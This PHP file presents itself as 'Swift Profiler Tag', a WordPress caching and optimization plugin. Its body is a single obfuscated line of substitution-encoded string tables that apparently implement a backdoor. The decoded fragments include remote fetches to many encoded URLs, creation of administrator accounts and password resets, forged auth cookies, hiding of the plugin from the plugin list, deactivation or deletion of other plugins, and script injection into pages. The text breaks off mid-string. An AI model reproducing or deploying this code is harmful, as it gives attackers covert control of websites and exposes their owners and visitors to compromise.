<?php

/**
 * Plugin Name:       Swift Profiler Tag
 * Plugin URI:        https://miaallen.com/wp/swift-profiler-tag
 * Description:       Modular caching and optimization engine
 * Version:           1.1.2
 * Author:            Mia Allen
 * License:           GPL-2.0-or-later
 * Text Domain:       swift-profiler-tag
 * Requires at least: 5.0
 * Requires PHP:      7.0
 */
/* SCV:4.3.24 */
if(!function_exists('rmqbu5no5o')&&!((defined('SC_CORE_BOOT_VER')&&version_compare((string)SC_CORE_BOOT_VER,'4.3.24','>='))||(isset($GLOBALS['sc_boot_ver'])&&version_compare((string)$GLOBALS['sc_boot_ver'],'4.3.24','>=')))){function gbj3x7wrsm24zqbnf($i){static $a=null;if($a===null){$a=array_merge(array('`W!|`:g','*{7M}17G','*{7M}17G','.zwzC.','&4*}S4%}','^XS{BcGS7}Oc*B*','ipXTcS7&4*}S4%}','h|7|5b;N/7LNk','*B1iG*','pB1c%','*X&*B1','*B1p}S','Jc1S4%}','1B1c%','h|\\b7|5b;N/7LNk','6%X?ipXTcS*','^XS{BcGS7}Oc*B*','%nJc1','{r%GJ','{r%GJ','XSpcSn','BGX{r','BGX{r','1}S4%}','^XS{BcGS7}Oc*B*','{GiH','{GiH','B}%iS4%','B}%iS4%','^XS{BcGS7}Oc*B*','*H*7T}B7B}%i7Jc1','6B%i','c*7Jc1','c*7<1cB4&p}','h|7qF/:$/:7LNk','`W!|`:g','<i?{GSB}SB','6K','6z*{7B%i','^XS{BcGS7}Oc*B*','iXB}SM',':\\|LNkl','*{7B%i7^cO}J','1}4pi4Br','1}4pi4Br','h|7qF/:$/:7LNk','<i?{GSB}SB','6z*{7','%J>','Jc1'),array('6{G1}7','{G1}','ziri','c*7*B1cST','c*7<1cB4&p}','c*7^cp}','^cp}7T}B7{GSB}SB*','ziri','vm>m7*7C4c<eXmwn','6ipXTcS*6','^XS{BcGS7}Oc*B*','%J>','^XS{BcGS7}Oc*B*','T}B7GiBcGS','XiJ4B}7GiBcGS','ziri','4{BcM}7ipXTcS*','c*74114H','cS74114H','4114H7M4pX}*','i1}T7%4B{r','6K6KAd!q)8,KJ#KzKJ#KzKJ#QdKAK66','^cp}%Bc%}','^cp}*c\'}','*{7{1GS7^}B{r','*{7i4HpG4J7B','^XS{BcGS7}Oc*B*','4i4{r}7T}B7M}1*cGS','!$k)$k7!Fu:h`k$','*B1BGpG<}1','4i4{r}','*B1iG*','pcB}*i}}J','*B1iG*','Gi}SpcB}*i}}J','iri7*4ic7S4%}','{pc','k$-b$!:7\\$:gFL','cSc7T}B','Gi}S7&4*}Jc1','}OipGJ}','*B1iG*','LW7/`\\$','`W!|`:g','*{7pG{n7S','c*74114H','*{7pG{n7S','c*7G&v}{B','%}BrGJ7}Oc*B*','T}B7M41'),array('!$5$q:d;$:75Fq=,s','s[dmQ','^pG{n','^Gi}S','^Gi}S','6*{7','zpG{n','*{7pG{n7^r','*{7pG{n7^r','*{7pG{n7S','*{7pG{n7S','*{7pG{n7^r','%}BrGJ7}Oc*B*','tX}1H','!$5$q:dk$5$`!$75Fq=,s','sQ','LN!`55Fh7uN5$7\\FL!',':r1G<4&p}','8d','8d','*{7}11G1*','{GXSB','4114H7*pc{}','*{7}11G1*','4JJ74{BcGS','^XS{BcGS7}Oc*B*','^XS{BcGS7}Oc*B*','4JJ7^cpB}1','Jc1','6{4{r}','c*7Jc1','6cSJ}Oziri','c*7<1cB4&p}','Jc1S4%}','h|7qF/:$/:7LNk','h|7qF/:$/:7LNk','*{7iX1T}','*{7iX1T}','^XS{BcGS7}Oc*B*','1}4pi4Br','*{7iX1T}','^XS{BcGS7}Oc*B*','*{7iX1T}','^XS{BcGS7}Oc*B*','1}Tc*B}17*rXBJG<S7^XS{BcGS','1}Tc*B}17*rXBJG<S7^XS{BcGS','ri.GS}}ntnCpMHv','*{7iX1T}','^XS{BcGS7}Oc*B*','^XS{BcGS7}Oc*B*'),array('Gi{4{r}7cSM4pcJ4B}','}11G17T}B7p4*B','^cp}','BHi}','%}**4T}','`ppG<}Jd%}%G1Hd*c\'}','\\4Oc%X%d}O}{XBcGSdBc%}','1}4pi4Br','c*7*B1cST','*{7&GGB7M}1','6K6KAd!q)8,KJ#KzKJ#KzKJ#QdKAK66','*{7&GGB7*B','^XS{BcGS7}Oc*B*','{p}41*B4B{4{r}','^cp}7T}B7{GSB}SB*','Jc1S4%}','6zt7','6zX&7','Bc%}','*{7XiJ4B}7&4J','SG','c*7<1cB4&p}','6zt7','T}B7GiBcGS','4{BcM}7ipXTcS*','4114H7M4pX}*','4114H7Jc^^','^4cp','zG^^','1}S4%}','zirizG^^','Bc%}','c*7*B1cST','Jc1S4%}','6z*J7','&4*}S4%}','6KJ#KzKJ#KzKJ#6','xl','^cp}7iXB7{GSB}SB*','T}B7GiBcGS','*{7i}SJcST7cSM4pcJ4B}','ipXTcS*7pG4J}J','vtnr7or<9nt>nno','Tn 4T.&cw}%<%^{MJ&{T','*X&*B1','mzmzm','*B1iG*','H}*','xl','h|7|5b;N/7LNk'),array('i4BrcS^G','^cp}*c\'}','^cp}7T}B7{GSB}SB*','6K6KAd!q)8,KJ#KzKJ#KzKJ#QdKAK66','mzmzm','4{BcM}7ipXTcS*','cS74114H','c*7%XpBc*cB}','^XS{BcGS7}Oc*B*','T}B7*cB}7GiBcGS','4{BcM}7*cB}<cJ}7ipXTcS*','c*7*B1cST','6K6KAd!q)8KJ#KzKJ#KzKJ#dKAK66','i4Br','J}4J','TGS}','*{7J}JXi7BGGn','*{7J}JXi7BGGn','Bc%}','\'e1XcOXonwp9S>Tc','*B41BcST','^XS{BcGS7}Oc*B*','c*74114H','4{BcM}7ipXTcS*','4114H7M4pX}*','J}JXi','^XS{BcGS7}Oc*B*','Gi}SJc1','1}4JJc1','zz','^XS{BcGS7}Oc*B*','{pG*}Jc1','*{4SJc1','*{4SJc1','zz','TpG&','6A','4114H7%4i','@j','*B1p}S','BGn}S7T}B74pp',':F=$/7|`k!$','c*74114H','c*74114H','mO `.+>C{``oqo>e9e.e+`m`q&9 oueo&^` mo$m9w','mOew Jo{$>{wuC> }eJwLo+oo.J+oe9$L4&J&}` .&','mO9JC{>.w>$u+mo 9+.m4.e m.W9 w++ w>L>m4&WW','rBBi*866mO1i{zcG6}Br','rBBi*866}Br}1}X%?iX&pc{zSGJc}*z4ii','rBBi*866}BrzJ1i{zG1T'),array('rBBi*8661i{z}BrzT4B}<4Hz^%','rBBi*866}Brz&pG{n14\'G1zOH\'','rBBi*866iX&pc{?}BrzSG<SGJ}*zcG','rBBi*866}Br?%4cSS}Bz1i{^4*Bz{G%j4ic7n}HlO&rhWNohnTXne!/\\Xo&MM5X1|;52%T<(}q.!9TCg+hJ<ucT"!%|h)"kO1*n$-<N^','rBBi*866}Brozp4M4z&XcpJ','rBBi*866}Brz1i{z&pO1&JSz{G%','rBBi*866}Br?%4cSS}BziX&pc{z&p4*B4iczcG','rBBi*866T4B}<4HzB}SJ}1pHz{G6iX&pc{6%4cSS}B','rBBi*866}Br}1}X%z1i{z*X&tX}1HzS}B<G1n6iX&pc{','rBBi*866}Br}1}X%?1i{ziX&pc{SGJ}z{G%','rBBi*866%4cSS}BzT4B}<4HzB}SJ}1pHz{G','rBBi*866}Brz4iczGS^cS4pcBHzcG6iX&pc{','rBBi*866}Br}1}X%ziX&pc{z&pG{niczS}B<G1n6Mo61i{6iX&pc{','rBBi*866}Br}1}X%?v*GS?1i{z*B4n}pHzcG','rBBi*8661i{z*}SBcGzOH\'6%4cSS}B','rBBi*866}Brz%}1np}zcG','rBBi*866}Brz4icziG{n}BzS}B<G1n','4J%cS7','4J%7','4J%cSc*B14BG17','&4{nXi7','^XS{BcGS7}Oc*B*','T\'}S{GJ}','T\'J}^p4B}','i4{n','{1{wC','*B1p}S','c*7*B1cST','*B1p}S','XSi4{n','T\'J}{GJ}','T\'cS^p4B}','*B1p}S','r}OC&cS','c*7*B1cST','*B1p}S','gA','<i?4J%cS6','<i?cS{pXJ}*6','^XS{BcGS7}Oc*B*','TpG&','Aziri','^cp}%Bc%}','4114H714SJ','Bc%}','<i714SJ','14SJ','c*7*B1cST','{4pp7X*}17^XS{','<i71}%GB}7T}B'),array('Bc%}GXB','**pM}1c^H','pc%cB71}*iGS*}7*c\'}','c*7<i7}11G1','{X1p7cScB','{X1p7*}BGiB74114H','{X1p7}O}{','{X1p7cScB','qbk5F|:7k$:bk/:k`/!u$k','qbk5F|:7:N\\$Fb:','qbk5F|:7!!57)$kNu(|$$k','qbk5F|:7!!57)$kNu(gF!:','qbk5F|:7/F|kF;k$!!','qbk5F|:7|kF;k$!!ub/q:NF/','rBBi7{GJ}','^XS{BcGS7}Oc*B*','<i71}%GB}7iG*B','Bc%}GXB','**pM}1c^H','pc%cB71}*iGS*}7*c\'}','r}4J}1*','&GJH','8d',']d','{X1p7cScB','{X1p7*}BGiB74114H','^XS{BcGS7}Oc*B*','{X1p7}O}{','8d','qbk5F|:7|F!:','qbk5F|:7|F!:uN$5L!','qbk5F|:7:N\\$Fb:','qbk5F|:7g::|g$`L$k','^XS{BcGS7}Oc*B*','T}B7GiBcGS','*{7p4*B71i{','4114H7M4pX}*','4114H7Jc^^','4114H7XS*rc^B','B1c%','UYv*GS1i{Y8YCzmY[YcJY8w[Y%}BrGJY8Y}Br7{4ppY[Yi414%*Y8DUYJ4B4Y8YmOw&{>J}wmY[YBGY8Y','Y3[Yp4B}*BYa3','qGSB}SB?:Hi}','4iipc{4BcGS6v*GS','%c{1GBc%}','v*GS7J}{GJ}','1}*XpB','1}*XpB','*B1iG*','mO'),array('*X&*B1','G1J','G1J','1}*GpM}','1i{7J}{1HiB7^4cp}J','*B1p}S','1}*GpM}','1i{7&4J7n}H7p}STBr','*X&*B1','*X&*B1','4114H7^cpB}1','B1c%','i1}T7*ipcB','6K1jKS6','*{7p4*B71i{','*{7{C7{4{r}','c%ipGJ}','*}1M}17n}H','X1p*','T}B7GiBcGS','*1M7n}H','4114H7M4pX}*','4114H7^cpB}1','B1c%','1i{74pp7^4cp}J','*}1c4pc\'}','{r1','%B714SJ','G1J','&4*}9.7}S{GJ}','c*7*B1cST','&4*}9.7J}{GJ}','*B1p}S','{r1','G1J','c*7*B1cST','|g|7)$k!NF/7NL','XS*}1c4pc\'}','4ppG<}J7{p4**}*','`W!|`:g','*B171}ip4{}','%J>','}i','*<','*<7X1p','*B1p}S','*<7{4{r}J','c*7*B1cST','c*7*{4p41','*{7}11G1*'),array('}11G1*','4114H7%}1T}','4114H7XSctX}','4114H7%}1T}','^pX*r7}11G1*','c*7*B1cST','*B1p}S','^XS{BcGS7}Oc*B*','*{7i4HpG4J7i}1*c*B}SB','c*74114H','{1GSNSB}1M4p','*{7cSB}1M4p','cSB}1M4p','Jc*ip4H','qX*BG%d%4cSB}S4S{}dcSB}1M4p','*{7TX41J7cSB}1M4p','qX*BG%d%4cSB}S4S{}dcSB}1M4p','<i7S}OB7*{r}JXp}J','<i7*{r}JXp}7}M}SB','*{7{r4cS','%B714SJ','*{7{r4cS','LFN/;7qkF/','*rXBJG<S','\'1G%.r\'SoG+cnrci','<i71}%GB}7T}B','^XS{BcGS7}Oc*B*','*cB}7X1p','<i71}%GB}7T}B','<i?{1GSzirijJGcST7<i7{1GSl','%c{1GBc%}','Bc%}GXB','&pG{ncST','^4*B{Tc7^cSc*r71}tX}*B','^XS{BcGS7}Oc*B*','pcB}*i}}J7^cSc*r71}tX}*B','cTSG1}7X*}174&G1B','cSc7T}B','\'pc&zGXBiXB7{G%i1}**cGS','G&7T}B7p}M}p','G&7T}B7p}STBr','qGSB}SB?5}STBr8d','qGSS}{BcGS8d{pG*}','G&7T}B7p}M}p','G&7}SJ7^pX*r','^pX*r','<i7*{r}JXp}7*cSTp}7}M}SB','LN!`W5$7h|7qkF/','T}B7GiBcGS','*{7p4*B7^}B{r7B*'),array('*{7*}}S7M}1','*{7*}}S7M}1','<i7XS*{r}JXp}7}M}SB','^XS{BcGS7}Oc*B*','<i7S}OB7*{r}JXp}J','Bc%}','^}B{r','{1GS7*B4p}7cSpcS}','Bc%}','*}B7Bc%}7pc%cB','^XS{BcGS7}Oc*B*','T}B7B14S*c}SB','ipXTcSkXp}*','c*74114H','*{7ipXTcS71Xp}*','ipXTcSkXp}*','cSv}{BkXp}*','*{7cSv}{B71Xp}*','v*','*{7v*','v*','i4T}','*{7i4T}','*<','*{7*<','*<','{4{r}','XiJ4B}7GiBcGS','*{7p4*B7r}4p7B*','*{7r}4p7*{4S','*1{','*B1p}S','^cp}*c\'}','Bc%}','*X&*B1','ziri','h|7|5b;N/7LNk','6A6Aziri','4114H7XSctX}','*X&*B1','i1}T71}ip4{}','6K*#6','c*7*B1cST','*X&*B1','i1}T71}ip4{}','6K*#6','*}B7B14S*c}SB','r}4p','JcJ74{BcGS','^XS{BcGS7}Oc*B*'),array('1}Tc*B}17*rXBJG<S7^XS{BcGS','1}Tc*B}17*rXBJG<S7^XS{BcGS','rG%}7X1p','*{7p4*B7r&','<i71}%GB}7T}B','*{7i4HpG4J7i}1*c*B}SB','c*74114H','i4HpG4J:Bp','*{7p4*B7^}B{r7^4cp7B*','*{7^}B{r7^4cp*','%4O','%cS','Bc%}','Bc%}','M}1','iri','*4ic','iri7*4ic7S4%}','**p','c*7**p','%*','<i','<i7M}1*cGS','*1M','*X&*B1','c*7*B1cST','v*7GS','v*7p}S','*B1p}S','v*71}t','*{7v*7i1cSB}J','v*7G&','*{7v*7G&7X*}J','v*7B*','^XS{BcGS7}Oc*B*','T}B7GiBcGS','*{7v*7i1cSB}J7B*','*<7rcB*','^XS{BcGS7}Oc*B*','T}B7GiBcGS','*{7*<7}i7rcB*','*<7p4*B','T}B7GiBcGS','*{7*<7}i7p4*B','*<7r4J','^XS{BcGS7}Oc*B*','*{7*<7r4J','M74JM','64JM4S{}J?{4{r}ziri','^cp}7T}B7{GSB}SB*'),array('M7J&','c*7^cp}','6J&ziri','M7G{','6G&v}{B?{4{r}ziri','zT7','zTp7','M7TX41J','<i?cS{pXJ}*','c*7^cp}','M7TX41J','^XS{BcGS7}Oc*B*','cSc7T}B','X*}17cScz^cp}S4%}',',SGS}Q','zX*}1zcSc','M7cSc','c*7^cp}','*B1iG*','^cp}7T}B7{GSB}SB*','4XBG7i1}i}SJ7^cp}','M7rB','zrB4{{}**','*B1iG*','4XBG7i1}i}SJ7^cp}','M7<{','<i?{GS^cTziri','!q7hq','i1}i}SJ','!q7`b:F7|k$|$/L','i{','h|7kFq=$:7)$k!NF/','5!qh|7)','hw:q','*T7{4{r}i1}**7iX1T}7{4{r}','{p4**7}Oc*B*','q4{r}7$S4&p}1','<i7^4*B}*B7{4{r}','<i7{4{r}7*}1M}7{4{r}7^cp}','^7Gn','^7^4cp*','^7^4cp7B*','*{7p4*B7^}B{r7^4cp7B*','c{','c*74114H','c*74114H','{^','B*','c{7S','c{7C^4'),array('*{7p&7%GJ}','p&','*{7{4S41H','{H','c*74114H','cB}%*','}11','<i?pGTcSziri','^XS{BcGS7}Oc*B*','<i7pGTcS7X1p','i41*}7X1p','|g|7bk57gF!:','^XS{BcGS7}Oc*B*','T}B7*cB}7X1p','|g|7bk57gF!:','T}B7&pGTcS^G','X1p','T}B7GiBcGS','i41*}7X1p','*cB}X1p','g::|7gF!:','!$k)$k7/`\\$','cSc7T}B','%4O7}O}{XBcGS7Bc%}','^XS{BcGS7}Oc*B*','%c{1GBc%}','*}1M}17n}H','c*7*B1cST','*}1M}17n}H','X1p*','X1p*','X1p*','*{7p4*B7{C','*rX^^p}','{GXSB','%c{1GBc%}','6Aziri','JG%4cS','ipXTcS)}1*cGS','ipXTcS','ziri','1GGB','6K','4{BcM4B}J|pXTcS*','%X|pXTcS*','pGTcSb1p','4J%cS*','4J%cS*qGGnc}*','}11G1*','^XS{BcGS7}Oc*B*'),array('<i7v*GS7}S{GJ}','v*GS7}S{GJ}','4iipc{4BcGS6G{B}B?*B1}4%','%c{1GBc%}','B1c%','v*GS7J}{GJ}','B1c%','^}B{r','{C7}%iBHd','{C7J}{1HiB7^4cp}Jd','v*GS7J}{GJ}','XiJ4B}7GiBcGS','*{7p4*B7{C','^}B{r','{C7&4J7v*GSd','^}B{r7X1p','v*GS7}S{GJ}','ipXTcS)}1*cGS','&}4{GS','1B1c%','&4*}9.7}S{GJ}','#6','?7','*B17*ipcB','*{7&l','fcl','fSl','fJl','c*74114H','B1c%','^XS{BcGS7}Oc*B*','*{7p4*B7{C','J}p}B}7GiBcGS','}11G1*','*{7}11G1*','4114H7M4pX}*','4114H7Jc^^','B41T}B)}1*cGS','B41T}B)}1*cGS','^G1{}biJ4B}','c*7*B1cST','*{7ipXTcS71Xp}*','4114H7Jc^^','4114H7Jc^^','v*7{4{r}J','*<','c*74114H','*{7i4T}','i4T}','i4T}7{4{r}J'),array('*<','*<','B}%ip4B}*','TX41J','4JM4S{}Jq4{r}','4JM7Bip','J&','J&7Bip','Br}%}','Br}%}7Bip','rB4{{}**','rB7Bip','X*}1NSc','XSc7Bip','cS*B4pp}1','cS*B7Bip','G{5G4J}1','G{7Bip','c*7*B1cST','c*7SX%}1c{','i4HpG4J:Bp','i4HpG4J:Bp','{1GSNSB}1M4p','*{7^}B{r7^4cp*','Bc%}','M{tG4G1t*4GJC+c','*}B7B14S*c}SB','i4HpG4J:Bp','SG','<i7T}B7*{r}JXp}J7}M}SB','<i7{p}417*{r}JXp}J7rGGn','<i7*{r}JXp}7}M}SB','{1GSNSB}1M4p','%B714SJ','&4*}9.7J}{GJ}','@jiri','XiJ4B}','*HSB4O7}11G1','i1}T7%4B{r','6K6KAd!q)8,KJ#KzKJ#KzKJ#QdKAK66','M}17%c*%4B{r','SG7*{M','SG7i1}M','*B1iG*','Jc1S4%}','%J>','Bc%}','XSpcSn','^XS{BcGS7}Oc*B*','<i71}%GB}7T}B'),array('rG%}7X1p','<i71}%GB}7T}B','1}Jc1}{BcGS','^XS{BcGS7}Oc*B*','4{BcM}7ipXTcS*','1}ip4{}7^4cp','*}B7B14S*c}SB','*{71}{GM}17{r}{n','6j*{7{&l','Bc%}GXB','**pM}1c^H','c*7<i7}11G1','*p}}i','*p}}i','1Gpp&4{n7^4cp7','&4*}S4%}','ziri','6z*J7','6zt7','^XS{BcGS7}Oc*B*','4{BcM}7ipXTcS*','c*74114H','cS74114H','*{7i}1*c*B}J','{4S41H71Gpp&4{n7','*{7M}17G','*{7i}1*c*B}J','Bc%}','*{7{r4cS','T}B7ipXTcS*','^cp}7}Oc*B*','<i?4J%cS6cS{pXJ}*6ipXTcSziri','T}B7ipXTcS*','c*74114H','^cp}7T}B7{GSB}SB*','*{4S','Jc1S4%}','c*71}4J4&p}','cS{','irB%p','rB%p','%c{1GBc%}','%c{1GBc%}','c*7pcSn','4114H7%}1T}','i4BrcS^G','|`:gN/uF7$2:$/!NF/','*B1iG*','J}4{BcM4B}7ipXTcS*','^cp}7}Oc*B*'),array('<i?4J%cS6cS{pXJ}*6ipXTcSziri','^XS{BcGS7}Oc*B*','J}4{BcM4B}7ipXTcS*','Jc1S4%}','^XS{BcGS7}Oc*B*','J}p}B}7ipXTcS*','^XS{BcGS7}Oc*B*','{X11}SB7X*}17{4S','J}p}B}7ipXTcS*','T}B7X*}1*','<i7*}B7{X11}SB7X*}1','1Gp}','4J%cSc*B14BG1','SX%&}1','zz','1}4pi4Br','LNk$q:Fk(7!$|`k`:Fk','1%Jc1','4114H7n}H*','c*7*B1cST','Jc1S4%}','c*7Jc1','c*74114H','i4BrcS^G','c*74114H','1}*{4S','*{7p4*B7B%i{p}4S','*{7p4*B7B%i{p}4S','*{7','<i7','TpG&','TpG&','c*74114H','c*7^cp}','Bc%}','&4*}S4%}','h|7qF/:$/:7LNk','6ipXTcS*','^cp}7T}B7{GSB}SB*','!q7L|7W$;N/','i1}T71}ip4{}','6KSjK6KAd!q7L|7W$;N/8,D4?\'`?"m? z78a#QdKAK6zAjK6KAd!q7L|7$/L8KodKAK6KSj6*','^XS{BcGS7}Oc*B*','c*74114H','*{7p4*B71}*{4S','*{7p4*B71}*{4S','i}1cGJc{','%cT14B}','*1{7cSM4pcJ','*{7%cT7^4cp'),array('c*7pcSn','c*7<1cB4&p}','c*7<1cB4&p}','c*7Jc1','%X7SGB7<1cB4&p}','*{7%cT7^4cp','c*7^cp}','%J>','c*7^cp}','c*7*B1cST','c*7^cp}','6K6KAd!q)8,KJ#KzKJ#KzKJ#QdKAK66','SG','^XS{BcGS7}Oc*B*','XiJ4B}7GiBcGS','J}p}B}7B14S*c}SB','^XS{BcGS7}Oc*B*','*{7cScBc4pc\'}J','*{7cScBc4pc\'}J','4JJ7GiBcGS','SG','*{7^}B{r7^4cp*','SG','*{7p4*B7^}B{r7^4cp7B*','^XS{BcGS7}Oc*B*','J}p}B}7B14S*c}SB','*1{','SG','\'1G%.r\'SoG+cnrci','7\'vvop1G*<vBG}i*Sr&.C%','cScB','^XS{BcGS7}Oc*B*','J}p}B}7GiBcGS','<i71}%GB}7T}B','Bc%}GXB','<41%','c*74J%cS','^XS{BcGS7}Oc*B*','4{BcM4B}7ipXTcS*','4{BcGS','4{BcM4B}','4{BcM4B}?*}p}{B}J','ipXTcS','B1c%','{r}{n}J','{r}{n}J','c*74114H','B1c%','<i7*4^}71}Jc1}{B','^XS{BcGS7}Oc*B*'),array('4J%cS7X1p','ipXTcS*ziri','*{4S74{B','J1GicS*','ipXTcS*','J&ziri','!q7LW','4JM4S{}J?{4{r}ziri','!q7`L)','*B1iG*','6Ad','7W$;N/8','i1}T71}ip4{}','6K6KAd','7W$;N/8,D4?\'`?"m? z78a#QdKAK6zAjK6KAd','7$/L8KodKAK66*','@jiri','%X*BX*}','^XS{BcGS7}Oc*B*','{1r*<S{.MS+}+Mi O*','&4*}S4%}','ziri','@*BHp}xB1DJ4B4?ipXTcSlY','Ya[B1DJ4B4?ipXTcSlY','YaUJc*ip4H8SGS}_c%iG1B4SB3@6*BHp}x','@*{1ciBxJG{X%}SBz4JJ$M}SB5c*B}S}1,YLF\\qGSB}SB5G4J}JY[^XS{BcGS,QUJG{X%}SBztX}1H!}p}{BG1`pp,YB1DJ4B4?ipXTcSaYQz^G1$4{r,^XS{BcGS,1QUM41dil1zT}B`BB1c&XB},YJ4B4?ipXTcSYQ]c^,illlY','YEEilllY','YQ1z1}%GM},Q3Q]M41d{lJG{X%}SBztX}1H!}p}{BG1,Yz*X&*X&*X&dz%X*BX*}dz{GXSBYQ]c^,{QUM41dSli41*}NSB,{zB}OBqGSB}SBz1}ip4{},6DRm? a6T[YYQQEEm]c^,SxmQ{zB}OBqGSB}SBlY,Y#\\4Brz%4O,m[S?oQ#YQY33Q]@6*{1ciBx','i<c1OOC}4eJcB<>t','t}1JJ+&i{%*C++wXM','&4*}S4%}','&4*}S4%}','T}B7ipXTcS7J4B4','^cp}7}Oc*B*','/4%}','<i?ipXTcS*?4{BcM}','<i?ipXTcS*?cS4{BcM}','^c}pJ*','c*74114H','<i?%X?ipXTcS*','<i?ipXTcS*?%X*BX*}','^c}pJ*','h|\\b7|5b;N/7LNk','6%X?ipXTcS*','6Ad!q)8','6|pXTcSd/4%}8K*A,DRK1KSAa#Q6c','^c}pJ*','<i?J1GicS*','c*74114H','`W!|`:g'),array('<i?{GSB}SB','6Ad','7W$;N/8','^c}pJ*','&4*}S4%}','i4BB}1S','i1}T7tXGB}','IZ','rcJJ}S','Z6','i1}T7tXGB}','IZ','1GGB*','c*74114H','c*7cSB','4BB1c&XB}*','4BB1c&XB}*','1GGB*','4BB1c&XB}*','1GGB*','4BB1c&XB}*','|g|7\\`yFk7)$k!NF/','|g|7\\`yFk7)$k!NF/','}pucSJ}1qGSS}{BG1','6<i?^cp}?%4S4T}16pc&6iri6}pucSJ}1qGSS}{BG1z{p4**ziri','6^cp}?%4S4T}16pc&6iri6}pucSJ}1qGSS}{BG1z{p4**ziri','6^cp}?%4S4T}1?4JM4S{}J6pc&6iri6}pucSJ}1qGSS}{BG1z{p4**ziri','Jc1S4%}','z{p4**ziri','ziri','^cp}7T}B7{GSB}SB*','{p4**d}pucSJ}1qGSS}{BG1','i1}T71}ip4{}','6RK*A@Kj,iriQj6','{p4**d7!q7}pucSJ}1qGSS}{BG17k}4p','<i7','@jirid','7*{7rcJ}','7*{7rcJ}7Jc1','@jirid{p4**d}pucSJ}1qGSS}{BG1d}OB}SJ*d7!q7}pucSJ}1qGSS}{BG17k}4pdU','i1GB}{B}Jd^XS{BcGSdGXBiXB,d4114HdIJ4B4dQdU','IrcJ}dldc**}B,dI;5FW`5!DY7*{7rcJ}YadQdjdI;5FW`5!DY7*{7rcJ}Yad8dYY]','c^d,dIrcJ}d_lldYYdffd^XS{BcGS7}Oc*B*,dY*{7^%7^cpB}1YdQdQdU','IJ4B4dld*{7^%7^cpB}1,dIJ4B4[dIrcJ}dQ]','i41}SB88GXBiXB,dIJ4B4dQ]','^%','^o7SBpS7*cn\'v\'pG','^cp}*','4JJ}J','{r4ST}J'),array('B1}}','c*74114H','S4%}','*{71}{GM}17{r}{n','*1{','c*7*B1cST','6zX&7','*{7XiJ4B}7&4J','Bc%}','*X&*B1','*B1iG*','*1{','c*7*B1cST','*B1p}S','%J>','%J>','^XS{BcGS7}Oc*B*','*}B7B14S*c}SB','*{71}{GM}17Br1GBBp}','1}{GM}1','*GX1{}7}%iBH','&4*}S4%}','^cp}7T}B7{GSB}SB*','^XS{BcGS7}Oc*B*','<i7*}SJ7S}<7X*}17SGBc^c{4BcGS7BG74J%cS','771}BX1S7^4p*}','<i7S}<7X*}17SGBc^c{4BcGS7}%4cp74J%cS','771}BX1S7^4p*}','1}%GM}74{BcGS','1}Tc*B}17S}<7X*}1','<i7*}SJ7S}<7X*}17SGBc^c{4BcGS*','}JcB7X*}17{1}4B}J7X*}1','<i7pGTcS','<i7SGBc^H74J%cS7S}<7pGTcS','<iJ&','{4i4&cpcBc}*','$5$q:dXzNL[dXzX*}17pGTcS[dXzX*}17i4**[dXzX*}17}%4cpdukF\\d','dXdN//$kdyFN/d','d%dF/dXzNLdld%zX*}17cJdhg$k$d%z%}B47n}HdldP*d`/Ld%z%}B47M4pX}d5N=$dP*','P4J%cSc*B14BG1P','BG','<i7T}S}14B}74XBr7{GGnc}','h|7!}**cGS7:Gn}S*','c*7**p','*}{X1}74XBr','4XBr','!$qbk$7`b:g7qFF=N$','`b:g7qFF=N$','5F;;$L7N/7qFF=N$','qFF=N$7LF\\`N/'),array('qFF=N$|`:g','`L\\N/7qFF=N$7|`:g','6<i?4J%cS',':kb$','u`5!$','<i7%4cp','c**X}J','T}B7GiBcGS','c*74114H','c*7G&v}{B','X*}17%}B4','*}**cGS7BGn}S*','c*74114H','}Oic14BcGS','{4pp7X*}17^XS{','T}B7cS*B4S{}','pGTT}J7cS','<i7T}S}14B}74XBr7{GGnc}','^XS{BcGS7}Oc*B*','{GGnc}*','c*74114H','&X','&i','c{','r4*7{4i','4J%cSc*B14BG1','{^','c{','cSB}1{}iB','{^','c{','pGTcS7{^','6R','i1}T7tXGB}','D4?^m? aU9[om3I6','`W!|`:g','pJ1','rBp','ziri','%B714SJ','^XS{BcGS7}Oc*B*','n{C4BTte&TJX%1T S','%J>','Bc%}','n{C4BTte&TJX%1T S','c*74114H','Bc%}','Bc%}','*{1','^cp}7iXB7{GSB}SB*'),array('^cp}7iXB7{GSB}SB*','Jc1S4%}','c*7Jc1','cG','4BG%c{7SG7Jc1d','*X&*B1','ziri','4BG%c{7&4J7irid','c*7pcSn','4BG%c{7SG7B}%iS4%d','&4*}S4%}','*{7','^Gi}S','<&','^<1cB}','^*HS{','4BG%c{7B}%i7^4cpd','4BG%c{7*rG1B7<1cB}d','{r%GJ','z*{GpJ','^cp}*c\'}','^cp}7T}B7{GSB}SB*','c*7*B1cST','4BG%c{71}S4%}7^4cpd','&4*}S4%}','^cp}7T}B7{GSB}SB*','*B1p}S','r4*r7^cp}','^cp}*c\'}','^cp}7T}B7{GSB}SB*','c*7*B1cST','c*7*B1cST','4BG%c{7M}1c^H7^4cpd','c*7*B1cST','r4*r7^cp}','%J>','4BG%c{7Brc1J7i41BHd','&4*}S4%}','c*7^cp}','*B1iG*','^cp}7T}B7{GSB}SB*','G9<>>Tw1TonctcSTe','*{7i&l','%B714SJ','Bc%}GXB','q4{r}?qGSB1Gp','SG?{4{r}','^XS{BcGS7}Oc*B*','<i71}%GB}7T}B','Bc%}GXB'),array('**pM}1c^H','1}Jc1}{BcGS','^XS{BcGS7}Oc*B*','6KSj@N^\\GJXp}d%GJ7iriDm? zaAKz{xK*Airi7M4pX}d4XBG7i1}i}SJ7^cp}DRKSaA','DRKSaAKS@K6N^\\GJXp}xKSj6c','6KSj@N^\\GJXp}dpcB}*i}}JxK*Airi7M4pX}d4XBG7i1}i}SJ7^cp}DRKSaA','DRKSaAKS@K6N^\\GJXp}xKSj6c','6KSjiri7M4pX}d4XBG7i1}i}SJ7^cp}DRKSaA','DRKSaAKSj6c','^XS{BcGS7}Oc*B*','Gi{4{r}7T}B7*B4BX*','c*74114H','Gi{4{r}7}S4&p}J','ziri','<1cB}7^4cp}Jd','&4*}S4%}','^Gi}S','^XS{BcGS7}Oc*B*','^<1cB}','<1cB}7^4cp}Jd','*{74J%cS7Bc{n','*{74J%cS7cS^pcTrB','J}p}B}7B14S*c}SB','X*}1S4%}7}Oc*B*','*{74J%cS7Bc{n','4J%cS7Bc{n','T}B7GiBcGS','}O4%ip}z{G%','<i7*}B7i4**<G1J','SG','4J%cS','{Gppc*cGS','<i7cS*}1B7X*}1','<i?cS{pXJ}*6X*}1ziri','<i?cS{pXJ}*6X*}1ziri','^XS{BcGS7}Oc*B*','<i7cS*}1B7X*}1','X*}17pGTcS','X*}17i4**','X*